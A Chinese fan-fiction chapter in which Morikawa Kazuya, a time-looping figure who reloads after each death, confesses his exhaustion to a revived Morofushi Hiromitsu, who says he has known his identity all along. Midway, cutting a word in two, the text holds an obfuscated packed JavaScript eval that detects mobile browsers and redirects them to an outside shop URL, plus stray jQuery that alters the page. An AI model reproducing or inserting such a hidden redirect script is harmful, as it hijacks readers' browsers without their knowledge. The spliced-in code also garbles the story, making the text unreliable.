安全屋的窗帘没拉严实，晨光从缝隙里挤进来，在地板上拖出细长的一条。


    森川和也趴在桌边睡觉。电脑屏幕早就暗了，咖啡杯倒扣在键盘旁边，液体流进缝隙，凝固成深褐色的血渍。


    他听见声音。布料摩擦，床垫轻微下陷，随后是呼吸。


    有人在他身后，离他很近。


    森川和也猛地睁开眼睛，撑起身体转头，然后整个人僵住了。


    诸伏景光坐在床边。


    那双蓝色的眼睛比记忆中更深了些，眼底沉淀着许多森川和也看不懂的东西。可他看森川和也的眼神，温柔得像在注视一件失而复得、以为再也不会见到的旧物。


    森川和也的喉咙滚了一下。


    他很想像警校时那样，用那种欠揍又松散的语调说——


    “hiro——真是吓死我了，你怎么能随便死啊。”


    或者“你知不知道这几天我连觉都不敢睡，你赔我。”


    又或是别的什么，随便什么。


    但他张了张嘴，什么都没说出来。


    随后诸伏景光笑了。很轻，很浅，像晨雾散尽后露出的第一线天光。他穿着森川和也给他换上的白色睡衣，平静美好的像一个梦。


    “小森川。”诸伏景光说，“原来你在这里。”


    森川和也的手指蜷了起来。


    他有多久没听到这个称呼了？


    “hiro……”他开口，声音比自己预想的还要哑。


    诸伏景光没有让他说完。


    “原来我记得这一切，”他说，“是因为小森川把系统给了我。”


    森川和也愣住了。


    诸伏景光低下头，看着自己摊开在膝上的双手。那双手干干净净，没有血迹，没有茧，像警校时期那双会温柔地帮同期处理伤口的手。


    “我看见你了。”他说。


    他的声音很轻，像在念一封很长的信。


    “我看见你在车上反复读档，一次又一次地死去。”


    森川和也没有说话。


    “我看见你在洗衣店读档，让zero去拆弹，自己冲进火海拉我。你PTSD发作了，跪在走廊里，zero拖着你往外走，你一直在喊妈妈。”


    “我看见你每一次救我们。”诸伏景光抬起头，看着他，“你去老宅取u盘，琴酒杀了你一次，然后是卡慕。你明明已经可以离开了，又一次回来。”


    不要再说了。


    森川看见自己的指甲掐进掌心。


    “我看见你死了。”诸伏景光的声音依然很轻，“很多次。割喉。枪击。溺亡。火灾。车祸。琴酒。卡慕。还有我叫不出名字的人。最久的一次，你躺在欧洲某个无名墓园里，两年后才有人路过发现墓碑。系统读档需要尸体，你就在那里躺了两年，等一个拾荒者碰掉你口袋里的证件。”


    窗外的晨光渐渐亮起来。东京十一月的天空是灰白色的，云层压得很低。


    “一个人做这么多事，”诸伏景光说，“一定很辛苦吧。”


    森川和也低着头，没有说话。


    他看见自己的眼泪一滴一滴落在地板上，晕开成深色的小圆点。


    他不知道自己什么时候开始哭的。


    他甚至不知道自己还有眼泪。


    然后他站起来。他不知道自己是怎么从椅子移动到床边的，他只知道自己已经跪在床边，脸埋在诸伏景光怀里，手指攥着他背后的衣服，像溺水的人抓住最后一根浮木。


    他听见自己的声音从喉咙里挤出来，破碎得像被碾过的纸。


    “我好累，hiro，我真的好累。”


    诸伏景光没有回答。他只是伸出手，环住森川和也颤抖的后背，掌心贴着他凸起的肩胛骨。


    很轻，像托住一片即将坠落的叶子。


    “嗯。”景光说，“我知道。”


    森川和也把脸埋得更深。


    他闻见诸伏景光身上医院消毒水混着血液干涸后铁锈的气味，闻见他从死亡线挣扎回来时沾染的所有痕迹。可他在这一刻什么都顾不上了。


    他只是想说话。


    说那些憋了三条时间线、几次死亡假死、无数次读档都没能说出口的话。


    “我以为你死了。”


    “嗯。”


    “我救不了你。我怎么都救不了你。我试了那么多次，读档、预判、提前警告——你还是每次都会走向那个天台。”


    “嗯。”


    “我把系统给你的时候其实不知道它能不能用，那是最后一次了，我一边想我就试最后一次，一边想要你活过来。”


    诸伏景光轻轻抚着他的后背。


    “我活过来了。”他说。


    森川和也没有说话。


    他只是在诸伏景光怀里无声而剧烈地颤抖。


    很久很久，久到窗外的云层裂开一道缝，久到晨光从缝隙里漏进来，落在书桌上那摊咖啡渍旁边。


    森川和也终于直起身体。


    他用袖子狠狠擦了一把脸，眼眶红得像被人揍过，但表情已经恢复了那种惯常的平静。


    “你什么时候知道的。”他问。


    诸伏景光看着他。


    “见到你的第一天。”他说。


    森川和也愣了一下。


    “第一次接头。新宿那家酒馆。”诸伏景光的嘴角弯起一个很浅的弧度，“你倒茶的时候，用左手托着茶壶底。我认识的人里只有小和也会这么做。”


    “你吃三明治挑掉生菜，”诸伏景光继续说，“喝咖啡加糖，熬夜之后会下意识揉右手的旧伤疤。你说话尾音偶尔会带出一点警校时期的口癖——改得很好了，但太累的时候会露出来。”


    “最开始只是怀疑……但是和也，你的时间并不是线性的。”诸伏景光的声音很温柔也很难过，“在你给我系统后，我就同时拥有了过去、现在和未来的记忆，你经历过的一切同样是我经历过的，你怀疑的一切同样是我在怀疑的。”


    “小和也演技越来越好了，只是绿雉看我的眼神，那不是第一次见面的人会有的眼神。”


    森川和也没有说话。


    窗外的云又合拢了，灰白色的天光均匀地铺满整个房间。


    “所以你一直知道。”他说。


    “嗯。”


    “从第一天就知道。”


    “嗯。”


    “……你怎么不戳穿。”


    诸伏景光没有立刻回答。他垂下眼，看着自己膝上那双手。窗外灰白的光落在他侧脸上，把他的轮廓勾得很淡。


    “因为你在躲。”他说，“你换了身份，假死，一个人从英国回来，一个人查组织的情报，一个人往自己手上揽所有的危险。你这么努力想藏起来，一定有必须藏的理由。我戳穿你，你又要逃到别的地方去。”


    森川和也看着诸伏景光。


    他想说“我没有在逃”，可他张了张嘴，发现自己说不出口。


    因为诸伏景光说得对，他一直在逃。


    从森川和也的死亡里逃出来，从海耶斯的假身份里逃出来，从那些他救不了的人、改变不了的事、以及永远无法回应的期待里，一次又一次地逃。


    他以为换了名字、换了样貌、换了曾经那些人熟知的一切，就能逃过那些看着他背影的目光。


    可诸伏景光从一开始就知道。


    他什么都知道，可还是坐在那里，安静地等他，等他愿意自己走过来。


    森川和也忽然又想哭了。但他只是用力吸了一下鼻子，把那股酸涩压回喉咙里。


    “系统呢。”他问，努力让声音显得平稳，“你看到它了吗。”


    诸伏景光点了点头。


    “它在。”他说，“但已经不会亮了。”


    他伸出手，在空气中虚点了一下。


    森川和也没有意外。


    他把系统交给景光的时候，界面已经闪烁得像濒死的萤火虫。那是他用了三条时间线、无数次读档修复、从死亡边缘把自己拖回来那么多次——积攒的所有能量。


    “报废了。”森川低下头，看着自己空无一物的掌心。


    窗外的云层更厚了，天光暗淡下来，像黄昏提前抵达。房间里的一切都染上淡色的光晕，像一场不真实的梦境。


    “没关系，应该也用不到了。”森川和也说，“松田总不会死了吧。”


    他的语气很轻松，甚至带着一点刻意的调侃。下一秒森川停住了，因为他看见诸伏景光的眼睛。


    那双蓝眼睛安静地看着他，像一面很深很深的湖。


    森川和也的笑容僵在嘴角。


    “……你这是什么表情。”他说。


    诸伏景光没有回答。


    “在我的未来里，松田和班长去世了。”


    这是一个漫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193043|197044||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    长的故事。


    苏格兰威士忌自然不能死而复生，卧底还没查出来，他甚至不能回到公安，那段时间和他联系的只有降谷零。


    “那我呢？”森川和也问。


    “你不在，zero问了赤井秀一，他也不知道。你就像从时间里消失了，谁也不知道你去了哪里，又和谁在一起。”诸伏景光很平静，“我们甚至怀疑你死了，直到很久后的某一天，久到组织覆灭、我们恢复身份，森川和也和绿雉确认牺牲。”


    “……你敲响了屋门，问我现在是哪一年。”


    诸伏景光看着森川和也的侧脸——他瘦了很多，那双灿烂明媚的蓝色眼睛如今被时间留下惨烈的痕迹，诸伏景光突然想起来，他已经不记得警校时的森川和也长什么样子了。


    那双眼睛到底是什么颜色？


    沉默像水一样漫过房间。窗外的云层终于散开，惨白的冬阳挤进来，在地板上拖出一小片光。


    森川和也看着那片光。


    ……


    新闻。


    东京。


    越狱。


    警察牺牲。


    1200万人质。


    他的大脑像一台生锈的机器，缓慢地、艰涩地把这些碎片拼在一起。


    ——那起案件的从犯被当场抓获，判了七年。


    记事本


    车祸。


    噩梦成真了。


    森川和也的背脊像一座即将断裂的桥，他几乎有点想笑的冲动——又一次，又一次失去所爱之人，一切荒谬的像个笑话。


    ……


    “你没系统了。”诸伏景光说，“你打算怎么救松田阵平。”


    森川和也的手放在膝盖上，交叠，压紧。“……我有办法。”他说。


    ……


    骗你的，hiro，其实玩家根本就没有系统。


    玩家其实不需要这些，玩家自己就能读档重开。


    森川海忽然低下头，看着自己的手。


    那只手在灯光下很正常。五指，手背，骨节分明，和平时没什么两样。但他能感觉到，有什么东西在皮肤下面流动。不是血液，不是神经，是另一种他无法形容的东西，像无数根细线从他的身体里向外延伸，延伸到看不见的地方，延伸到时间的缝隙里。


    他读档了太多次。每一次读档那些线就会多一根，现在它们已经多到快要把他撑破了。


    诸伏景光看着他。


    “怎么了？”他敏锐地问。


    森川海没有回答。他只是看着自己的手，看着那只在灯光下越来越模糊的手。


    手背上的皮肤开始变得透明……像水，像光，像他从来就不属于这个世界的某种东西。


    他看见自己的血管，然后血管也消失了。取而代之的是无数细小的流动的光点。那些光点在皮肤下面旋转、跳跃、缠绕，像有生命一样。


    森川海知道那是什么。


    那是他每一次读档留下的痕迹。是他每一次死亡、每一次重生、每一次强行留在这个世界付出的代价。


    “如果我是怪物……”森川和也背对着诸伏景光，低头凝视着自己的手，“你还会爱我吗？”


    诸伏景光看着森川和也的背影——那条僵直的、像随时会断裂的脊椎线。他想起很多年前，警校那个会蹲在花坛边痛斥医学、会被同期开玩笑气到跳脚的森川和也。


    他想起那个人在洗衣店火场外冲进去的背影，想起他在深夜安全屋里递来咖啡的手，想起他隔着一条街、站在咖啡馆角落、想靠近又不敢靠近的目光。


    他想起那些他自己都不知道自己记得的事。


    怎么会呢。诸伏景光想。


    他作为公安的那一面在尖叫警告着不可控因素，可作为诸伏景光的他同样有私心。他拦不住也不可能拦住森川和也，在时间中穿梭的森川和在黑暗中潜伏的自己又有多大区别？在这一天到来时，他只会选择和森川和也上同一条船。


    我们是共犯，Kazu。


    你从不是孤独的一个人。


    森川和也的背影延伸到窗外灰白色的、没有边际的天空，那天空上是盘旋的鸟群，黑色剪影绵延千里，灼灼不绝。


    “……景光。”


    “嗯。”


    “如果，”他没有回头，“如果我没能——”


    “不会的。”


    门在他身后轻轻合上。